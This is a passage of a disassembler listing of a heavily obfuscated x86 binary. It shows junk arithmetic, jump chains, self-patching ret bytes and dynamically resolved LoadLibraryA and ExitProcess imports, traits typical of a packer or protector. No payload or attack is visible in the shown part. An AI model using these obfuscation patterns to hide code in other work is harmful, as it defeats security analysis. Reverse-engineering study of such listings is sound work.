sub_74F30D+48FAj jl loc_74B52B ; END OF FUNCTION CHUNK FOR sub_74F30D ; START OF FUNCTION CHUNK FOR sub_74F15D loc_751550: ; CODE XREF: sub_74F15D+17CFj jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- mov ebx, 0FFB2FD3Bh not eax shr esi, 10h jmp loc_74B52B ; --------------------------------------------------------------------------- mov ds:dword_41F0D0, eax lea eax, nullsub_2 mov byte ptr [eax], 0C3h jmp loc_750496 ; --------------------------------------------------------------------------- loc_751578: ; CODE XREF: _0z4jwtox:007461DCj mov eax, [esp] push edx call sub_74B1F1 mov eax, 0D276D9AEh jmp loc_74F272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_75158B: ; CODE XREF: sub_74CBB7:loc_74F56Cj jge loc_7452B8 loc_751591: ; CODE XREF: sub_7453FB+B95Cj jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- jz loc_7470CB shr ecx, 1Ah jmp loc_7452B3 ; --------------------------------------------------------------------------- loc_7515A4: ; CODE XREF: _0z4jwtox:loc_7536BAj sub ebx, 6D8BD061h ; =============== S U B R O U T I N E ======================================= sub_7515AA proc near ; CODE XREF: sub_74FE16+1p ; FUNCTION CHUNK AT 0074FA79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007523FE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00752911 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00756E30 SIZE 00000013 BYTES xchg esi, [esp+0] pop esi mov ebp, esp call nullsub_5 jmp loc_752911 sub_7515AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_7515BA: ; CODE XREF: sub_7463AE:loc_74CDC8j jge loc_747764 loc_7515C0: ; CODE XREF: sub_752C44-221Fj jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_7463AE ; --------------------------------------------------------------------------- adc eax, edi cdq jmp loc_747760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_7515CD: ; CODE XREF: sub_7457DD:loc_74BA24j jnz loc_75570C jmp loc_748221 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- loc_7515D8: ; CODE XREF: _0z4jwtox:00747938j mov ds:off_41F008, eax lea eax, sub_749FEE mov byte ptr [eax], 0C3h jmp sub_749FEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749FEE loc_7515EC: ; CODE XREF: sub_749FEE:loc_7479F8j mov eax, [esp-4+arg_0] jmp loc_756CC7 ; END OF FUNCTION CHUNK FOR sub_749FEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ED5F loc_7515F4: ; CODE XREF: sub_74ED5F+45A6j test ebx, 4 jmp loc_757141 ; END OF FUNCTION CHUNK FOR sub_74ED5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7515FF: ; CODE XREF: sub_747AEC:loc_752798j jz loc_75122E jmp loc_75614B ; END OF FUNCTION CHUNK FOR sub_747AEC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F226 loc_75160B: ; CODE XREF: sub_74F226+Fj jmp loc_747074 ; END OF FUNCTION CHUNK FOR sub_74F226 ; --------------------------------------------------------------------------- loc_751610: ; CODE XREF: _0z4jwtox:0074BC67j jmp locret_747D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F9 loc_751615: ; CODE XREF: sub_74B1F9+9j jmp loc_753FB5 ; END OF FUNCTION CHUNK FOR sub_74B1F9 ; --------------------------------------------------------------------------- dw 77E8h dword_75161C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_755B5B-79D0w ... dword_751620 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_74BA1A+4w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_751624: ; CODE XREF: sub_747AEC-828j jmp loc_74D385 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- db 22h, 95h, 0E3h dword_75162C dd 2 ; sub_745911+7A6r ... dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2), 0FF98FCE9h dd 4687B1FFh dword_751A34 dd 2 dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75309B loc_751E34: ; CODE XREF: sub_75309B-85C1j jmp loc_74FB0B ; END OF FUNCTION CHUNK FOR sub_75309B ; --------------------------------------------------------------------------- popf jmp sub_74F660 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_751E3F: ; CODE XREF: sub_746389:loc_748AB7j and edx, eax setnz byte ptr [ebp-5] push edi push 0A4071E31h jmp loc_746F70 ; END OF FUNCTION CHUNK FOR sub_746389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_751E50: ; CODE XREF: sub_747C39+B227j call sub_746389 loc_751E55: ; CODE XREF: _0z4jwtox:0074D487j ; sub_74F53E-1E4j jmp loc_75776D ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7556D8 loc_751E5A: ; CODE XREF: sub_7556D8:loc_748118j pop ebx xor ebx, 73EE3087h jnz loc_752B24 ; END OF FUNCTION CHUNK FOR sub_7556D8 ; START OF FUNCTION CHUNK FOR sub_747C22 loc_751E67: ; CODE XREF: sub_747C22+C98j jmp loc_7491A4 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- jno loc_74AE59 cdq jmp loc_74EB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_751E78: ; CODE XREF: sub_747AEC+35F9j jnz loc_74F82D jmp loc_7458F0 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_751E83: ; CODE XREF: sub_746E93:loc_74E53Fj ; sub_746E93+D597j push ecx mov ecx, eax xchg ecx, [esp+4+var_4] lea eax, dword_756684 push ebx jmp loc_74D7E4 ; END OF FUNCTION CHUNK FOR sub_746E93 ; --------------------------------------------------------------------------- loc_751E95: ; CODE XREF: _0z4jwtox:loc_7534A7j jl loc_7488F3 sbb edx, esi jmp loc_7488EC ; --------------------------------------------------------------------------- loc_751EA2: ; CODE XREF: _0z4jwtox:loc_74F390j pop edx rol edx, 9 cmp edx, 426CE086h jmp loc_752350 ; --------------------------------------------------------------------------- loc_751EB1: ; DATA XREF: sub_7457CB+8DE2o mov eax, [eax-10h] and eax, 7 push offset sub_749D35 jmp loc_75721F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562F7 loc_751EC1: ; CODE XREF: sub_7562F7-5449j push 260CCE85h cdq jmp loc_74ECD6 ; END OF FUNCTION CHUNK FOR sub_7562F7 ; =============== S U B R O U T I N E ======================================= sub_751ECC proc near ; CODE XREF: _0z4jwtox:00755BCFj ; _0z4jwtox:00756A00p xchg esi, [esp+0] sub_751ECC endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7561AB loc_751ECF: ; CODE XREF: sub_7561AB:loc_7544D8j pop esi push 0EDCB9B54h pop esi jmp loc_74B33A ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562D5 loc_751EDB: ; CODE XREF: sub_7562D5+Bj call sub_754E36 mov eax, 524E554Eh call sub_746E93 push edx push 295F1CC0h pop edx rol edx, 9 add edx, 5AEEFF56h jmp loc_754564 ; END OF FUNCTION CHUNK FOR sub_7562D5 ; =============== S U B R O U T I N E ======================================= sub_751EFF proc near ; CODE XREF: _0z4jwtox:00745BE2j ; sub_74D1F3:loc_74FF2Bj ... ; FUNCTION CHUNK AT 00746EA8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074DE28 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 007512E4 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 jmp loc_746EA8 sub_751EFF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A094 loc_751F10: ; CODE XREF: sub_74A094+4743j jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_74A094 ; --------------------------------------------------------------------------- loc_751F15: ; CODE XREF: _0z4jwtox:00749354j adc edx, esi xor ecx, esi adc ebx, 9DAA41Eh sbb edi, 17519CB9h ; START OF FUNCTION CHUNK FOR sub_7529BD loc_751F25: ; CODE XREF: sub_7529BD:loc_749339j add eax, 0C1F34FBEh or eax, 355F02F2h add eax, 0C075F47Bh jmp loc_75127F ; END OF FUNCTION CHUNK FOR sub_7529BD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_751F3D: ; CODE XREF: sub_74E451+3F4Cj jmp loc_757586 ; END OF FUNCTION CHUNK FOR sub_74E451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_751F42: ; CODE XREF: sub_7561AB-7E94j add ecx, 7B8B9C4Ch sub ecx, 0E90A3C5Dh xor ecx, 0EBE670FDh loc_751F54: ; CODE XREF: _0z4jwtox:loc_748E56j add ecx, 28F6775Ch xchg ecx, [esp+4+var_4] jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h dword_751F64 dd 58C64F55h ; --------------------------------------------------------------------------- call nullsub_15 jmp loc_75523B ; --------------------------------------------------------------------------- xor edx, 0A4AF0DD8h jmp loc_7533EF ; --------------------------------------------------------------------------- loc_751F7D: ; DATA XREF: sub_7473D1+7C77o call sub_750243 cmp eax, [ebp-8] call sub_7578F4 ; START OF FUNCTION CHUNK FOR sub_755C10 loc_751F8A: ; CODE XREF: sub_755C10-6C63j sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] cmp al, 0A4h jz loc_752192 jmp loc_74950E ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_751F9E: ; CODE XREF: sub_754DFF-71D7j popf jmp sub_7511A7 ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_751FA4: ; CODE XREF: sub_7501AF:loc_751103j mov byte ptr [eax], 64h inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] jmp loc_74584E ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_751FBB: ; CODE XREF: sub_747C39+1FE5j jb loc_753B7C loc_751FC1: ; CODE XREF: sub_747C39:loc_75136Aj ; _0z4jwtox:loc_7522FDj push 8E1B41B6h pop eax rol eax, 13h xor eax, 667F7C39h jmp loc_752E49 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- loc_751FD5: ; CODE XREF: _0z4jwtox:0074F8EDj jnz loc_74739E pop eax jmp loc_74506D ; --------------------------------------------------------------------------- xor edx, eax jmp loc_74F157 ; --------------------------------------------------------------------------- mov [edx], eax ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_751FEA: ; CODE XREF: sub_74A7D8+2745j not eax jmp sub_74549C ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_751FF1: ; CODE XREF: _0z4jwtox:007495D4j sub esi, ebp loc_751FF3: ; CODE XREF: _0z4jwtox:loc_7495BEj add esi, 17E74724h add esi, edx call sub_746869 ; START OF FUNCTION CHUNK FOR sub_755F42 loc_752000: ; CODE XREF: sub_755F42-7F89j jmp loc_7524F1 ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_752005: ; CODE XREF: sub_74AE67:loc_757298j jz loc_7554A3 jmp loc_74F4F2 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_752010: ; CODE XREF: sub_748C0D:loc_74C27Bj ; _0z4jwtox:0074C29Dj and eax, 2F005CFCh add eax, 227005C6h add eax, ebp add eax, 0DD8FF5CEh jmp loc_754B16 ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A47B loc_752029: ; CODE XREF: sub_74A47B-4D3j call sub_75051C call sub_75263A ; END OF FUNCTION CHUNK FOR sub_74A47B ; START OF FUNCTION CHUNK FOR sub_74673E loc_752033: ; CODE XREF: sub_74673E-6E1j jmp loc_74D683 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- loc_752038: ; CODE XREF: _0z4jwtox:0074D30Fj xor eax, 0D88C654h or eax, 0B8FC32DFh add eax, 42777456h xchg eax, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_752052: ; CODE XREF: sub_74CF35+6j jb loc_755DB7 sub al, 99h push 165CA5D6h pop edx add edx, 4FDD8C46h rol edx, 0Eh and edx, 0A7F063D4h jmp loc_74AEF7 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_752074: ; CODE XREF: sub_7457DD+2A4Cj cmp esi, eax jmp loc_755704 ; END OF FUNCTION CHUNK FOR sub_7457DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_75207B: ; CODE XREF: sub_7490F6+96D8j jnz loc_750C7B jmp loc_75271F ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_752086: ; CODE XREF: sub_754C68-93F3j push 0A0F030D7h pop eax xor eax, 0A1B9AC79h sub eax, 0C30B0EE2h and eax, 4F9234BBh test eax, 8000h jmp loc_74CDDC ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- loc_7520A9: ; CODE XREF: _0z4jwtox:0074676Fj jnb loc_747D29 xchg edi, edx loc_7520B1: ; CODE XREF: _0z4jwtox:loc_74883Cj and ebx, 0CFF738BEh or ebx, 0A2B202DAh test ebx, 200h jmp loc_74CA91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7520C8: ; CODE XREF: sub_7474B9:loc_7465FDj jnz loc_746FAF loc_7520CE: ; CODE XREF: _0z4jwtox:007496D1j jmp loc_756932 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- mov [edi], ecx push eax not eax jmp loc_746FAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756741 loc_7520DD: ; CODE XREF: sub_756741:loc_756749j push 235B6BD6h pop eax rol eax, 2 xor eax, 0C667CF7Dh ; END OF FUNCTION CHUNK FOR sub_756741 ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_7520EC: ; CODE XREF: sub_74CBCF+3ED9j jmp loc_75500E ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7520F1: ; CODE XREF: sub_74C670+7219j jnb loc_74F162 loc_7520F7: ; CODE XREF: sub_74C670:loc_74C44Aj push 2D36F66Dh pop eax and eax, 0DF54951Bh jmp loc_7505A1 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- or ebp, 1AC8002Bh adc edi, edx jmp sub_74A99B ; =============== S U B R O U T I N E ======================================= sub_752115 proc near ; CODE XREF: sub_7541BA-B4EDp ; _0z4jwtox:0074C08Ej xchg edx, [esp+0] pop edx cmp al, 0A4h jz loc_746C1D jmp loc_74E85A sub_752115 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_752126: ; CODE XREF: sub_7544F1-8F5j push 1A6E02F1h pop edi or edi, 0A4257BADh js loc_74E48F loc_752138: ; CODE XREF: _0z4jwtox:00747B29j jmp loc_74D139 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- shr ebp, 15h sbb ecx, esi mov [eax], ebp jmp loc_74E489 ; =============== S U B R O U T I N E ======================================= sub_752149 proc near ; CODE XREF: sub_74AE8E+7537p ; _0z4jwtox:007560C3j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00756F8B SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg ecx, [esp-4+arg_0] jmp loc_756F8B sub_752149 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_752155: ; DATA XREF: sub_749C06+Ao push 0C7DAF6E5h ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_75215A: ; CODE XREF: sub_7473D1:loc_74F9BBj pop ebx rol ebx, 17h sub ebx, 3AC06615h rol ebx, 0Bh jmp loc_754AC1 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; =============== S U B R O U T I N E ======================================= sub_75216C proc near ; DATA XREF: _0z4jwtox:0074A173o ; FUNCTION CHUNK AT 00754810 SIZE 00000005 BYTES mov eax, [eax] push offset sub_74EF6C jmp loc_754810 sub_75216C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7564D5 loc_752179: ; CODE XREF: sub_7564D5+12j jmp loc_750F13 ; END OF FUNCTION CHUNK FOR sub_7564D5 ; --------------------------------------------------------------------------- loc_75217E: ; CODE XREF: _0z4jwtox:00753AA3j jmp sub_755103 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_752183: ; CODE XREF: sub_748B44+79CCj jmp loc_74CD8F ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_752188: ; CODE XREF: sub_745A78+E666j ja loc_7526E9 not edx xchg edx, eax loc_752192: ; CODE XREF: sub_745A78:loc_746969j ; _0z4jwtox:0074EF80j ... jmp loc_750CC8 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- jmp loc_753CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_75219C: ; CODE XREF: sub_74946E+9E2j jz loc_756890 jmp loc_74C06C ; END OF FUNCTION CHUNK FOR sub_74946E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] db 89h, 46h, 6 dd 4870000h, 58D08B24h, 0E924048Bh, 0FFFF9C9Fh, 7E698C68h dd 79F4E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_7521C6: ; CODE XREF: sub_75043C+33B8j mov eax, [eax] jmp loc_755236 ; --------------------------------------------------------------------------- loc_7521CD: ; CODE XREF: sub_75043C:loc_7537CDj ; sub_75043C+339Aj ... xor ebx, ebx loc_7521CF: ; CODE XREF: _0z4jwtox:loc_7455F7j ; _0z4jwtox:0074833Cj call sub_74A051 ; END OF FUNCTION CHUNK FOR sub_75043C ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_7521D4: ; CODE XREF: sub_7535F0-B6ABj xchg edi, [esp+4+var_4] call sub_750C4E push 0D3BCC629h pop eax and eax, 931CDD61h jmp loc_752BE5 ; END OF FUNCTION CHUNK FOR sub_7535F0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7521EE: ; CODE XREF: _0z4jwtox:00756D0Cj jmp locret_747BAF ; --------------------------------------------------------------------------- loc_7521F3: ; CODE XREF: _0z4jwtox:0074AD47j jmp nullsub_17 ; --------------------------------------------------------------------------- loc_7521F8: ; CODE XREF: _0z4jwtox:007470A0j jmp nullsub_279 ; --------------------------------------------------------------------------- loc_7521FD: ; CODE XREF: _0z4jwtox:00753562j jmp ds:dword_41F164 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_752203: ; CODE XREF: sub_747736+9475j jmp loc_752D8B ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FF79 loc_752208: ; CODE XREF: sub_74FF79+10j jmp loc_753BF6 ; END OF FUNCTION CHUNK FOR sub_74FF79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_75220D: ; CODE XREF: sub_74BFE0+1099j jmp loc_74B5B8 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] db 84h dd 0FFFF9D75h, 24048B5Ah, 69EBE852h, 60E9FFFFh, 0F000017h dd 0FFF12681h, 0E088E9FFh db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BBE loc_752233: ; CODE XREF: sub_748BBE+C653j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_748BBE ; --------------------------------------------------------------------------- mov ebx, ebp jmp sub_74F7C0 ; --------------------------------------------------------------------------- loc_75223F: ; CODE XREF: _0z4jwtox:00753C3Cj jle loc_75089C sub ecx, edx jmp loc_7578AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756B35 loc_75224C: ; CODE XREF: sub_756B35:loc_756AF2j lea eax, sub_74CBB7 mov byte ptr [eax], 0C3h ; END OF FUNCTION CHUNK FOR sub_756B35 ; START OF FUNCTION CHUNK FOR sub_748538 loc_752255: ; CODE XREF: sub_748538:loc_74F776j jmp sub_74CBB7 ; END OF FUNCTION CHUNK FOR sub_748538 ; --------------------------------------------------------------------------- call nullsub_184 jmp ds:dword_41F188 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jns loc_75559D jmp loc_74FDA4 ; --------------------------------------------------------------------------- loc_752271: ; CODE XREF: _0z4jwtox:loc_751508j push offset sub_7459BC jmp loc_756D73 ; --------------------------------------------------------------------------- loc_75227B: ; CODE XREF: _0z4jwtox:loc_749349j push edx push 6D18356Eh pop edx add edx, 71FDBDDBh rol edx, 0Ch and edx, 0B46ED295h xor edx, 8CED9C5Fh add edx, 6778E442h jmp loc_74D978 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_7522A2: ; CODE XREF: sub_75364C:loc_753406j jl loc_745B54 ; END OF FUNCTION CHUNK FOR sub_75364C ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_7522A8: ; CODE XREF: sub_7452F3+A15Fj jmp loc_74AB64 ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- loc_7522AD: ; CODE XREF: _0z4jwtox:00746542j jmp locret_745FF7 ; --------------------------------------------------------------------------- test ebx, 0B4C03C23h jmp loc_748E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_7522BD: ; CODE XREF: sub_74BFE0+Cj mov eax, [ebp+var_4] mov al, [eax] jo loc_757418 sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] jmp loc_755D51 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_7522D4: ; CODE XREF: sub_746640+D027j xor ecx, 2FFE9592h sub ecx, 4D301570h add ecx, 14DEC4D4h add ecx, ebp add ecx, 0A321891Fh mov ecx, [ecx] add eax, ecx jmp loc_7457EC ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_7522F7: ; CODE XREF: sub_752DF2:loc_753CA1j pushf jmp loc_74E3E1 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- loc_7522FD: ; CODE XREF: _0z4jwtox:0074EA24j jnb loc_751FC1 ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_752303: ; CODE XREF: sub_74FE55:loc_748679j call sub_74D823 loc_752308: ; CODE XREF: _0z4jwtox:0075692Dj jmp loc_74EFE5 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- locret_75230D: ; CODE XREF: _0z4jwtox:00754A4Ej retn ; --------------------------------------------------------------------------- loc_75230E: ; CODE XREF: _0z4jwtox:00745E4Cj jmp loc_74CF40 ; --------------------------------------------------------------------------- loc_752313: ; CODE XREF: _0z4jwtox:00745368j cmp dword ptr [ebp-8], 0 jnz loc_755F15 ; START OF FUNCTION CHUNK FOR sub_74A71A loc_75231D: ; CODE XREF: sub_74FAD6j ; sub_74A71A+B7F5j jb loc_74B1D5 push offset loc_745373 jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75051C loc_75232D: ; CODE XREF: sub_75051C+1E57j call sub_750F2E ; END OF FUNCTION CHUNK FOR sub_75051C ; START OF FUNCTION CHUNK FOR sub_7523A2 loc_752332: ; CODE XREF: sub_7523A2+6j jmp loc_756546 ; END OF FUNCTION CHUNK FOR sub_7523A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75565F loc_752337: ; CODE XREF: sub_75565F:loc_75530Fj rol ebx, 15h xor ebx, 48DCC3C7h add ebx, ebp add ebx, 0CA4C43C2h mov ebx, [ebx] ; END OF FUNCTION CHUNK FOR sub_75565F ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75234A: ; CODE XREF: sub_747C22:loc_74ED1Ej jmp loc_7560D3 ; END OF FUNCTION CHUNK FOR sub_747C22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_752350: ; CODE XREF: _0z4jwtox:00751EACj jmp loc_7539E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752F76 loc_752355: ; CODE XREF: sub_752F76-767Bj jmp nullsub_251 ; END OF FUNCTION CHUNK FOR sub_752F76 ; --------------------------------------------------------------------------- loc_75235A: ; CODE XREF: _0z4jwtox:0074B375j jmp sub_75375E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_75235F: ; CODE XREF: sub_74ECEF-6965j jmp loc_74A1DD ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75051C loc_752364: ; CODE XREF: sub_75051C:loc_75344Bj xchg esi, [esp+14h+var_14] mov edx, esi pop esi mov eax, 